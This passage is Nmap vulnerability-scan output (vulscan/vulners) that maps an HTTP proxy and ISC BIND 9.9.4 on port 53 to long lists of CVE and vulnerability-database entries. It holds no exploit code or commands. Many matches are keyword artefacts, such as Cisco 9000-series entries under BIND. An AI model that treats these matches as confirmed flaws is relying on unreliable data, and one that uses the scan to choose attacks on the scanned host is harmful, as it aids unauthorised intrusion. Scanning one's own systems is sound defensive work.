16782| [CVE-2011-1977] The ASP.NET Chart controls in Microsoft .NET Framework 4, and Chart Control for Microsoft .NET Framework 3.5 SP1, do not properly verify functions in URIs, which allows remote attackers to read arbitrary files via special characters in a URI in an HTTP request, aka "Chart Control Information Disclosure Vulnerability."
16783| [CVE-2010-4411] Unspecified vulnerability in CGI.pm 3.50 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unknown vectors. NOTE: this issue exists because of an incomplete fix for CVE-2010-2761.
16784| [CVE-2010-4410] CRLF injection vulnerability in the header function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors related to non-whitespace characters preceded by newline characters, a different vulnerability than CVE-2010-2761 and CVE-2010-3172.
16785| [CVE-2010-3775] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, does not properly handle certain redirections involving data: URLs and Java LiveConnect scripts, which allows remote attackers to start processes, read arbitrary local files, and establish network connections via vectors involving a refresh value in the http-equiv attribute of a META element, which causes the wrong security principal to be used.
16786| [CVE-2010-3773] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-0179.
16787| [CVE-2010-2764] Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 do not properly restrict read access to the statusText property of XMLHttpRequest objects, which allows remote attackers to discover the existence of intranet web servers via cross-origin requests.
16788| [CVE-2010-2761] The multipart_init function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier uses a hardcoded value of the MIME boundary string in multipart/x-mixed-replace content, which allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input that contains this value, a different vulnerability than CVE-2010-3172.
16789| [CVE-2010-1197] Mozilla Firefox 3.5.x before 3.5.10 and 3.6.x before 3.6.4, and SeaMonkey before 2.0.5, does not properly handle situations in which both "Content-Disposition: attachment" and "Content-Type: multipart" are present in HTTP headers, which allows remote attackers to conduct cross-site scripting (XSS) attacks via an uploaded HTML document.
16790| [CVE-2010-0686] WebAccess in VMware VirtualCenter 2.0.2 and 2.5, VMware Server 2.0, and VMware ESX 3.0.3 and 3.5 allows remote attackers to leverage proxy-server functionality to spoof the origin of requests via unspecified vectors, related to a "URL forwarding vulnerability."
16791| [CVE-2010-0179] Mozilla Firefox before 3.0.19 and 3.5.x before 3.5.8, and SeaMonkey before 2.0.3, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response.
16792| [CVE-2009-3984] Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, and SeaMonkey before 2.0.1, allows remote attackers to spoof an SSL indicator for an http URL or a file URL by setting document.location to an https URL corresponding to a site that responds with a No Content (aka 204) status code and an empty body.
16793| [CVE-2009-3372] Mozilla Firefox before 3.0.15 and 3.5.x before 3.5.4, and SeaMonkey before 2.0, allows remote attackers to execute arbitrary code via a crafted regular expression in a Proxy Auto-configuration (PAC) file.
16794| [CVE-2009-3012] Mozilla Firefox 3.0.13 and earlier, 3.5, 3.6 a1 pre, and 3.7 a1 pre does not properly block data: URIs in Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Location header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header. NOTE: the JavaScript executes outside of the context of the HTTP site.
16795| [CVE-2009-1536] ASP.NET in Microsoft .NET Framework 2.0 SP1 and SP2 and 3.5 Gold and SP1, when ASP 2.0 is used in integrated mode on IIS 7.0, does not properly manage request scheduling, which allows remote attackers to cause a denial of service (daemon outage) via a series of crafted HTTP requests, aka "Remote Unauthenticated Denial of Service in ASP.NET Vulnerability."
16796| [CVE-2009-1167] Unspecified vulnerability on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to modify the configuration via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy44672.
16797| [CVE-2009-1166] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.x before 4.2.205.0 and 5.x before 5.2.191.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCsy27708.
16798| [CVE-2009-1164] The administrative web interface on the Cisco Wireless LAN Controller (WLC) platform 4.2 before 4.2.205.0 and 5.x before 5.2.178.0, as used in Cisco 1500 Series, 2000 Series, 2100 Series, 4100 Series, 4200 Series, and 4400 Series Wireless Services Modules (WiSM), WLC Modules for Integrated Services Routers, and Catalyst 3750G Integrated Wireless LAN Controllers, allows remote attackers to cause a denial of service (device reload) via a malformed response to a (1) HTTP or (2) HTTPS authentication request, aka Bug ID CSCsx03715.
16799| [CVE-2009-0321] Apple Safari 3.2.1 (aka AppVer 3.525.27.1) on Windows allows remote attackers to cause a denial of service (infinite loop or access violation) via a link to an http URI in which the authority (aka hostname) portion is either a (1) . (dot) or (2) .. (dot dot) sequence.
16800| [CVE-2008-7153] SQL injection vulnerability in the autoDetectRegion function in doceboCore/lib/lib.regset.php in Docebo 3.5.0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Accept-Language HTTP header. NOTE: this can be leveraged to execute arbitrary PHP code using the INTO DUMPFILE command.
16801| [CVE-2008-3057] Octeth Oempro 3.5.5.1, and possibly other versions before 4, does not set the secure flag for the PHPSESSID cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
16802| [CVE-2007-6000] KDE Konqueror 3.5.6 and earlier allows remote attackers to cause a denial of service (crash) via large HTTP cookie parameters.
16803| [CVE-2007-4225] Visual truncation vulnerability in KDE Konqueror 3.5.7 allows remote attackers to spoof the URL address bar via an http URI with a large amount of whitespace in the user/password portion.
16804| [CVE-2007-3911] Multiple heap-based buffer overflows in (1) clsscheduler.exe (aka scheduler client) and (2) srvscheduler.exe (aka scheduler server) in BakBone NetVault Reporter 3.5 before Update4 allow remote attackers to execute arbitrary code via long filename arguments in HTTP requests.
16805| [CVE-2007-3143] Visual truncation vulnerability in Konqueror 3.5.5 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
16806| [CVE-2006-5478] Multiple stack-based buffer overflows in Novell eDirectory 8.8.x before 8.8.1 FTF1, and 8.x up to 8.7.3.8, and Novell NetMail before 3.52e FTF2, allow remote attackers to execute arbitrary code via (1) a long HTTP Host header, which triggers an overflow in the BuildRedirectURL function
16807| [CVE-2006-0846] Multiple cross-site scripting (XSS) vulnerabilities in Leif M. Wright's Blog 3.5 allow remote attackers to inject arbitrary web script or HTML via the (1) Referer and (2) User-Agent HTTP headers, which are stored in a log file and not sanitized when the administrator views the "Log" page, possibly using the ViewCommentsLog function.
16808| [CVE-2005-4857] eZ publish 3.5 before 3.5.7, 3.6 before 3.6.5, 3.7 before 3.7.3, and 3.8 before 20051128 allows remote authenticated users to cause a denial of service (Apache httpd segmentation fault) via a request to content/advancedsearch.php with an empty SearchContentClassID parameter, reportedly related to a "memory addressing error".
16809| [CVE-2002-2395] InterScan VirusWall 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 gzip content encoding.
16810| [CVE-2002-2394] InterScan VirusWall 3.6 for Linux and 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 chunked transfer encoding.
16811| [CVE-2002-2246] Cross-site scripting (XSS) vulnerability in VisNetic Website before 3.5.15 allows remote attackers to inject arbitrary web script or HTML via the HTTP referer header (HTTP_REFERER) to a non-existent page, which is injected into the resulting 404 error page.
16812| [CVE-2002-2241] Buffer overflow in httpd32.exe in Deerfield VisNetic WebSite before 3.5.15 allows remote attackers to cause a denial of service (crash) via a long HTTP OPTIONS request.
16813| [CVE-2002-1098] Cisco VPN 3000 Concentrator 2.2.x, and 3.x before 3.5.3, adds an "HTTPS on Public Inbound (XML-Auto)(forward/in)" rule but sets the protocol to "ANY" when the XML filter configuration is enabled, which ultimately allows arbitrary traffic to pass through the concentrator.
16814| [CVE-2002-1094] Information leaks in Cisco VPN 3000 Concentrator 2.x.x and 3.x.x before 3.5.4 allow remote attackers to obtain potentially sensitive information via the (1) SSH banner, (2) FTP banner, or (3) an incorrect HTTP request.
16815| [CVE-2002-0124] MDG Computer Services Web Server 4D/eCommerce 3.5.3 allows remote attackers to exploit directory traversal vulnerability via a ../ (dot dot) containing URL-encoded slashes in the HTTP request.
16816| [CVE-2002-0123] MDG Computer Services Web Server 4D WS4D/eCommerce 3.0 and earlier, and possibly 3.5.3, allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
16817| [CVE-2001-1574] Buffer overflow in (1) HttpSaveCVP.dll and (2) HttpSaveCSP.dll in Trend Micro InterScan VirusWall 3.5.1 allows remote attackers to execute arbitrary code.
16818| [CVE-2001-0693] WebTrends HTTP Server 3.1c and 3.5 allows a remote attacker to view script source code via a filename followed by an encoded space (%20).
16819| [CVE-2001-0122] Kernel leak in AfpaCache module of the Fast Response Cache Accelerator (FRCA) component of IBM HTTP Server 1.3.x and Websphere 3.52 allows remote attackers to cause a denial of service via a series of malformed HTTP requests that generate a "bad request" error.
16820|
16821| SecurityFocus - https://www.securityfocus.com/bid/:
16822| [12220] Squid Proxy Malformed NTLM Type 3 Message Remote Denial of Service Vulnerability
16823| [94953] Squid HTTP proxy Multiple Information Disclosure Vulnerabilities
16824| [53024] RETIRED: Squid Proxy 'Host' HTTP Header Security Bypass Vulnerability
16825| [50768] Privoxy RFC 3986 HTTP Response Splitting Vulnerability
16826| [33604] Squid Web Proxy Cache HTTP Version Number Parsing Denial of Service Vulnerability
16827| [16394] Cisco VPN 3000 Concentrator Malformed HTTP/TCP Packet Remote Denial of Service Vulnerability
16828| [13435] Squid Proxy HTTP Response Splitting Remote Cache Poisoning Vulnerability
16829| [12433] Squid Proxy Malformed HTTP Header Parsing Cache Poisoning Vulnerability
16830| [12412] Squid Proxy Oversize HTTP Headers Unspecified Remote Vulnerability
16831| [5275] Working Resources BadBlue HTTP 302 Message Cross-Site Scrpting Vulnerability
16832| [1213] CProxy 3.3 SP2 Buffer Overflow DoS Vulnerability
16833|
16834| IBM X-Force - https://exchange.xforce.ibmcloud.com:
16835| [19007] Squid Web Proxy Cache NTLM type 3 message denial of service
16836| [71509] Privoxy RFC 3986 HTTP response splitting
16837| [47412] Multiple Mozilla products XMLHttpRequest 302 response information disclosure
16838| [24330] Cisco VPN 3000 Concentrator HTTP packet denial of service
16839| [20339] Squid Web Proxy Cache HTTP header cache poisoning
16840| [20334] Squid Web Proxy Cache httpProcessReplyHeader security bypass
16841| [19060] Squid Web Proxy Cache HTTP header cache poisoning
16842| [11082] Cayman 3220-H DSL Router specially-crafted HTTP request denial of service attack
16843|
16844| Exploit-DB - https://www.exploit-db.com:
16845| [23534] Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb CreateFile Function Denial of Service Vulnerability
16846| [23532] Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb Directory Traversal Vulnerability
16847| [21704] W3C CERN httpd 3.0 Proxy Cross-Site Scripting Vulnerability
16848| [8021] Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service Exploit
16849|
16850| OpenVAS (Nessus) - http://www.openvas.org:
16851| [53377] Debian Security Advisory DSA 396-1 (thttpd)
16852| [902825] at32 Reverse Proxy Multiple HTTP Header Fields Denial Of Service Vulnerability
16853| [900325] Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability
16854| [900222] IBM HTTP Server mod_proxy Interim Responses DoS Vulnerability
16855| [800827] Apache 'mod_proxy_http.c' Denial Of Service Vulnerability
16856| [103320] Squid Proxy Caching Server CNAME Denial of Service Vulnerability
16857| [103293] Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability
16858| [103233] Squid Proxy Gopher Remote Buffer Overflow Vulnerability
16859| [100858] Apache 'mod_proxy_http' 2.2.9 for Unix Timeout Handling Information Disclosure Vulnerability
16860| [100789] Squid Proxy String Processing NULL Pointer Dereference Denial Of Service Vulnerability
16861| [100084] Squid Proxy Cache ICAP Adaptation Denial of Service Vulnerability
16862| [100083] HTTP Proxy Server Detection
16863| [11715] Header overflow against HTTP proxy
16864| [10768] DoSable squid proxy server
16865|
16866| SecurityTracker - https://www.securitytracker.com:
16867| [1027165] Squid XMLHttpRequest Allows Remote Users to Obtain the Target User's Proxy Username and Password
16868| [1015546] Cisco VPN 3000 Concentrator Bug in HTTP Service Lets Remote Users Deny Service
16869| [1028638] RSA Authentication Manager Writes Operating System, SNMP, and HTTP Plug-in Proxy Passwords in Clear Text to Log Files
16870| [1026054] Apache mod_proxy_ajp HTTP Processing Error Lets Remote Users Deny Service
16871| [1024096] Apache mod_proxy_http May Return Results for a Different Request
16872| [1021684] Squid HTTP Request Processing Error Lets Remote Users Deny Service
16873| [1020900] HTTP Anti Virus Proxy Bug in 'sockethandler.cpp' Lets Remote Users Deny Service
16874| [1019536] Squid Analysis Report Generator Buffer Overflow in Processing HTTP User-Agent and Access Logs Lets Remote Users Execute Arbitrary Code
16875| [1017586] Blue Coat WinProxy Heap Overflow in Processing HTTP CONNECT Requests May Let Remote Users Execute Arbitrary Code
16876| [1017324] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
16877| [1016239] WinGate Buffer Overflow in HTTP Proxy Lets Remote Users Execute Arbitrary Code
16878| [1016058] Symantec Gateway Security HTTP Proxy May Disclose Internal NAT Addresses
16879| [1016057] Symantec Enterprise Firewall HTTP Proxy May Disclose Internal NAT Addresses
16880| [1014359] DeleGate Proxy Lets Remote Users Conduct HTTP Request Smuggling Attacks
16881| [1014358] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
16882| [1014350] Squid HTTP Header Processing Lets Remote Users Smuggle HTTP Requests
16883| [1013910] Squid http_access Results May Be Unexpected Due to Configuration Errors
16884| [1013370] HTTP Anti Virus Proxy May Not Detect Viruses in Certain Archives
16885| [1013167] Squid Proxy xstrdup() Can Be Crashed With Malformed DNS Responses
16886| [1012992] Squid Error in Parsing HTTP Content-Length Headers May Let Remote Users Poison the Cache
16887| [1012365] JanaServer 2 http-server and pna-proxy Flaws Let Remote Users Deny Service
16888| [1011614] Squid SNMP Parsing Error Lets Remote Users Restart the Proxy Server
16889| [1011214] Squid Null Pointer Dereference in clientAbortBody() Lets Remote Users Crash the Proxy
16890| [1009267] Squid Proxy Cache '%00' URL Character Access Control Bug May Let Remote Users Bypass Certain Access Controls
16891| [1007712] Nokia Electronic Documentation Default Configuration Permits Remote HTTP Proxy Services
16892| [1007146] Apache HTTP Server FTP Proxy Bug May Cause Denial of Service Conditions
16893| [1006833] EServ Can Be Used as HTTP and FTP Proxy Even When Not Configured as a Proxy
16894| [1005253] Check Point FireWall-1 HTTP Proxy Default Configuration May Allow HTTPS and FTP Traffic to Pass Through the Proxy
16895| [1005026] CERN HTTP Proxy Server Input Validation Hole Lets Remote Users Conduct Cross-site Scripting Attacks
16896| [1004780] Norton Personal Firewall Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
16897| [1004779] Norton Internet Security Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
16898| [1004704] Squid Proxy Cache Has Buffer Overflows in Processing Gopher and FTP Data and May Incorrectly Forward Proxy Authentication Credentials to Remote Web Sites
16899| [1004446] Squid Proxy Caching Server 'Msntauth' Authentication Module Format String Hole Lets Remote Users Execute Arbitrary Code on the Server
16900| [1004221] Squid_auth_ldap LDAP Authentication Module for the Squid Proxy Server Has Format String Bugs That Let Remote Users Execute Arbitrary Shell Commands on the System
16901| [1003896] Squid Proxy Caching Server Heap Overflow in Processing Compressed DNS Responses Could Allow Remote DNS Servers to Crash the Service
16902| [1003875] HP Webproxy for HP-UX VVOS Operating System May Forward Certain HTTP Requests to the Internal Network Without Fully Processing the Packet Against the Rule Set
16903| [1003639] Squid Proxy Cache Server Buffer Overflow Lets Remote Users Create Denial of Service Conditions and May Let Remote Users Execute Arbitrary Code on the System
16904| [1003600] Check Point FireWall-1 HTTP Proxy Bug Lets Remote Users Bypass Some Access Controls and Connect to Arbitrary Ports on Internal/Protected Hosts
16905| [1002439] Squid Proxy Caching Server Can Be Crashed by Remote Users with Mkdir PUT Requests
16906| [1002045] Squid Proxy Caching Server Lets Remote Users Conduct Portscans Against Other Hosts Via the Squid Server in Certain Configurations
16907|
16908| OSVDB - http://www.osvdb.org:
16909| [16066] Mozilla HTTP 305 Redirect Site Spoofing
16910|_
1691153/tcp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
16912| vulners:
16913| cpe:/a:isc:bind:9.9.4:
16914| CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
16915| CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
16916| CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
16917| CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
16918| CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
16919| CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
16920| CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
16921| CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
16922| CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
16923| CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
16924| CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
16925| CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
16926| CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
16927| CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
16928| CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
16929| CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
16930| CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
16931| CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
16932| CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
16933| CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
16934| CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
16935| CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
16936| CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
16937|_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
16938| vulscan: VulDB - https://vuldb.com:
16939| [11804] ISC BIND up to 9.9.4 DNS Query bin/named/query.c query_findclosestnsec3 denial of service
16940| [11104] ISC BIND up to 9.9.4 WSAloctl Winsock API Bypass privilege escalation
16941| [9764] ISC BIND up to 9.9.4 RDATA rdata.c denial of service
16942| [119548] ISC BIND 9.9.12/9.10.7/9.11.3/9.12.1-P2 Recursion information disclosure
16943| [95202] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DNSSEC denial of service
16944| [95201] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DS Record Response denial of service
16945| [95200] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 ANY Query Response denial of service
16946| [89850] ISC BIND up to 9.9.9-P1/9.10.4-P1/9.11.0b1 Lightweight Resolution named.conf denial of service
16947| [81312] ISC BIND up to 9.9.8-P3/9.10.3-P3 named db.c/resolver.c Signature Record denial of service
16948| [81311] ISC BIND up to 9.9.8-P3/9.10.3-P3 named alist.c/sexpr.c denial of service
16949| [80787] ISC BIND up to 9.9.8-S4 Query rdataset.c denial of service
16950| [79802] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Socket Error resolver.c denial of service
16951| [79801] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Response db.c denial of service
16952| [76834] ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet Crash denial of service
16953| [8108] ISC BIND up to 9.9.3 on Unix/Linux Regular Expression denial of service
16954| [7079] ISC BIND up to 9.9.1 DNS64 IPv6 Transition Mechanism denial of service
16955| [6295] ISC BIND up to 9.9.1-P2 Assertion Error Resource Record Parser RDATA Query denial of service
16956| [5875] ISC BIND 9.9.0/9.9.1 denial of service
16957| [5874] ISC BIND up to 9.9.1-P1 denial of service
16958| [5483] ISC BIND up to 9.9.1 DNS Resource Record information disclosure
16959|
16960| MITRE CVE - https://cve.mitre.org:
16961| [CVE-2013-4854] The RFC 5011 implementation in rdata.c in ISC BIND 9.7.x and 9.8.x before 9.8.5-P2, 9.8.6b1, 9.9.x before 9.9.3-P2, and 9.9.4b1, and DNSco BIND 9.9.3-S1 before 9.9.3-S1-P1 and 9.9.4-S1b1, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query with a malformed RDATA section that is not properly handled during construction of a log message, as exploited in the wild in July 2013.
16962| [CVE-2013-3919] resolver.c in ISC BIND 9.8.5 before 9.8.5-P1, 9.9.3 before 9.9.3-P1, and 9.6-ESV-R9 before 9.6-ESV-R9-P1, when a recursive resolver is configured, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a record in a malformed zone.
16963| [CVE-2013-2266] libdns in ISC BIND 9.7.x and 9.8.x before 9.8.4-P2, 9.8.5 before 9.8.5b2, 9.9.x before 9.9.2-P2, and 9.9.3 before 9.9.3b2 on UNIX platforms allows remote attackers to cause a denial of service (memory consumption) via a crafted regular expression, as demonstrated by a memory-exhaustion attack against a machine running a named process.
16964| [CVE-2012-5689] ISC BIND 9.8.x through 9.8.4-P1 and 9.9.x through 9.9.2-P1, in certain configurations involving DNS64 with a Response Policy Zone that lacks an AAAA rewrite rule, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for an AAAA record.
16965| [CVE-2012-5688] ISC BIND 9.8.x before 9.8.4-P1 and 9.9.x before 9.9.2-P1, when DNS64 is enabled, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a crafted query.
16966| [CVE-2012-5166] ISC BIND 9.x before 9.7.6-P4, 9.8.x before 9.8.3-P4, 9.9.x before 9.9.1-P4, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P4 allows remote attackers to cause a denial of service (named daemon hang) via unspecified combinations of resource records.
16967| [CVE-2012-4244] ISC BIND 9.x before 9.7.6-P3, 9.8.x before 9.8.3-P3, 9.9.x before 9.9.1-P3, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P3 allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a long resource record.
16968| [CVE-2012-3868] Race condition in the ns_client structure management in ISC BIND 9.9.x before 9.9.1-P2 allows remote attackers to cause a denial of service (memory consumption or process exit) via a large volume of TCP queries.
16969| [CVE-2012-1667] ISC BIND 9.x before 9.7.6-P1, 9.8.x before 9.8.3-P1, 9.9.x before 9.9.1-P1, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P1 does not properly handle resource records with a zero-length RDATA section, which allows remote DNS servers to cause a denial of service (daemon crash or data corruption) or obtain sensitive information from process memory via a crafted record.
16970| [CVE-2011-4313] query.c in ISC BIND 9.0.x through 9.6.x, 9.4-ESV through 9.4-ESV-R5, 9.6-ESV through 9.6-ESV-R5, 9.7.0 through 9.7.4, 9.8.0 through 9.8.1, and 9.9.0a1 through 9.9.0b1 allows remote attackers to cause a denial of service (assertion failure and named exit) via unknown vectors related to recursive DNS queries, error logging, and the caching of an invalid record by the resolver.
16971| [CVE-2011-2465] Unspecified vulnerability in ISC BIND 9 9.8.0, 9.8.0-P1, 9.8.0-P2, and 9.8.1b1, when recursion is enabled and the Response Policy Zone (RPZ) contains DNAME or certain CNAME records, allows remote attackers to cause a denial of service (named daemon crash) via an unspecified query.
16972| [CVE-2011-2464] Unspecified vulnerability in ISC BIND 9 9.6.x before 9.6-ESV-R4-P3, 9.7.x before 9.7.3-P3, and 9.8.x before 9.8.0-P4 allows remote attackers to cause a denial of service (named daemon crash) via a crafted UPDATE request.
16973|
16974| SecurityFocus - https://www.securityfocus.com/bid/:
16975| [61774] ISC BIND 9 SRTT Algorithm Authoritative Server Selection Security Vulnerability
16976| [61479] ISC BIND 9 DNS RDATA Handling CVE-2013-4854 Remote Denial of Service Vulnerability
16977| [58736] ISC BIND 9 'libdns' Remote Denial of Service Vulnerability
16978| [57556] ISC BIND 9 DNS64 CVE-2012-5689 Remote Denial of Service Vulnerability
16979| [56817] ISC BIND 9 DNS64 Remote Denial of Service Vulnerability
16980| [55852] ISC BIND 9 DNS RDATA Handling CVE-2012-5166 Remote Denial of Service Vulnerability
16981| [55522] ISC BIND 9 DNS Resource Records Handling CVE-2012-4244 Remote Denial of Service Vulnerability
16982| [54659] ISC BIND 9 TCP Query Remote Denial of Service Vulnerability
16983| [54658] ISC BIND 9 DNSSEC Validation CVE-2012-3817 Denial of Service Vulnerability
16984| [53772] ISC BIND 9 DNS Resource Records Handling Remote Denial of Service Vulnerability
16985| [50690] ISC BIND 9 Recursive Queries Remote Denial of Service Vulnerability
16986| [48566] ISC BIND 9 Unspecified Packet Processing Remote Denial of Service Vulnerability
16987| [48565] ISC BIND 9 RPZ Configurations Remote Denial of Service Vulnerabilities
16988| [48007] ISC BIND 9 Large RRSIG RRsets Remote Denial of Service Vulnerability
16989| [47734] ISC BIND 9 RRSIG Query Type Remote Denial of Service Vulnerability
16990| [46491] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
16991| [45385] ISC BIND 9 DNSSEC Validation Remote Denial of Service Vulnerability
16992| [45133] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
16993| [41730] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
16994| [37865] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
16995| [37118] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
16996| [35848] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
16997| [25076] ISC BIND 9 Default ACL Settings Recursive Queries And Cached Content Security Bypass Vulnerability
16998| [25037] ISC BIND 9 Remote Cache Poisoning Vulnerability
16999| [4936] ISC BIND 9 Remote Denial Of Service Vulnerability
17000| [100656] Cisco ASR 920 Series Routers CVE-2017-6795 Local Arbitrary File Overwrite Vulnerability
17001| [97450] Cisco ASR 903 and ASR 920 Series CVE-2017-6603 Denial of Service Vulnerability
17002| [93415] Cisco Nexus 9000 Series Switches CVE-2016-1455 Remote Information Disclosure Vulnerability
17003| [82579] Cisco Nexus 9000 Series ACI Mode Switches CVE-2015-6398 Denial of Service Vulnerability
17004| [77686] Cisco Firepower 9000 Series CVE-2015-6380 Unspecified OS Command Injection Vulnerability
17005| [77635] Cisco Firepower 9000 Series CVE-2015-6371 Multiple Arbitrary File Read Vulnerabilities
17006| [77634] Cisco Firepower 9000 Series CVE-2015-6370 Local Command Injection Vulnerability
17007| [77633] Cisco Firepower 9000 Series Switches CVE-2015-6372 HTML Injection Vulnerability
17008| [77631] Cisco Firepower 9000 Series Switches CVE-2015-6374 Clickjacking Vulnerability
17009| [77629] Cisco Firepower 9000 Series CVE-2015-6369 Local Denial of Service Vulnerability
17010| [77628] Cisco Firepower 9000 CVE-2015-6373 Cross Site Request Forgery Vulnerability
17011| [77614] Cisco Firepower 9000 Series Switches CVE-2015-6368 Information Disclosure Vulnerability
17012| [76913] Cisco NX-OS Software for Nexus 9000 Series Switches CVE-2015-6308 Denial of Service Vulnerability
17013| [76791] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-6301 Denial of Service Vulnerability
17014| [76762] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-6295 Denial of Service Vulnerability
17015| [76329] Cisco Nexus 9000 Series Software CVE-2015-4301 Remote Denial of Service Vulnerability
17016| [76057] Cisco Firepower 9000 Series Devices CVE-2015-4287 Information Disclosure Vulnerability
17017| [75471] Cisco Unified IP Phones 9900 Series CVE-2015-4226 Denial of Service Vulnerability
17018| [75378] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-4213 Information Disclosure Vulnerability
17019| [74029] Cisco ASR 9000 Series Routers CVE-2015-0694 Remote Security Bypass Vulnerability
17020| [73895] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-0686 Denial of Service Vulnerability
17021| [73470] Cisco ASR 9000 Series Routers CVE-2015-0685 Denial of Service Vulnerability
17022| [73318] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-0672 Denial of Service Vulnerability
17023| [72485] Cisco Unified IP Phones 9900 Series CVE-2015-0604 Arbitrary File Upload Vulnerability
17024| [72484] Cisco Unified IP Phones 9900 Series CVE-2015-0603 Local Denial of Service Vulnerability
